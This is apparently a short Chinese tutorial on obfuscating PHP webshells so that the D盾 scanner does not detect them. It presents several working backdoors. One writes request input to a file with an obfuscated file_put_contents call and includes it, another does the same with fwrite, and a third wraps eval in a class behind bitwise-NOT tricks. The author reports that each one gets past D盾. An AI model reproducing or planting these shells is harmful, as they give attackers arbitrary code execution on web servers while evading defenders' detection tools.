绕过
思路1:使用写文件的函数写出另一个php文件然后include/require 回来执行
方法1:File_put_content
D盾还是报了,但如果是PHP7.0以上的,还是有绕过方法滴:
1 2 3 4 5 6 7
| <?php
( ~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php '.$_GET[a].' ?>');include('oagi.php'); ?>
|
注:使用GET仅是因为测试直观方便= =
完全可以改成POST来的:
1 2 3 4 5 6 7 8
| <?php
( ~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php '.$_POST[a].' ?>');include('oagi.php'); ?>
|
方法2 使用fwrite
同理 使用fwrite也是一样的
1 2 3 4 5
| <?php $file = fopen("oagi.php","w"); echo fwrite($file,"<?php ".$_POST[a].' ?>'); fclose($file); ?>
|
也是过D盾
思路2 防止被识别成可疑eval
方法1 用(class{}) 包裹起来
在function或者是直接用的eval会被识别成可疑eval
所以我们不在function或者是裸露的条件下如
<?php eval($_POST[a]);?>是十分重要的
所以我们用类来包裹
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
error_reporting(0); class a { public $command_; public function b($command){ $command_=~$command; $command =~$command_; eval($command); } } $c=new a(); $c->b($_POST[a]); ?>
|
同样 也是过D盾的
暂时就这么多QAQ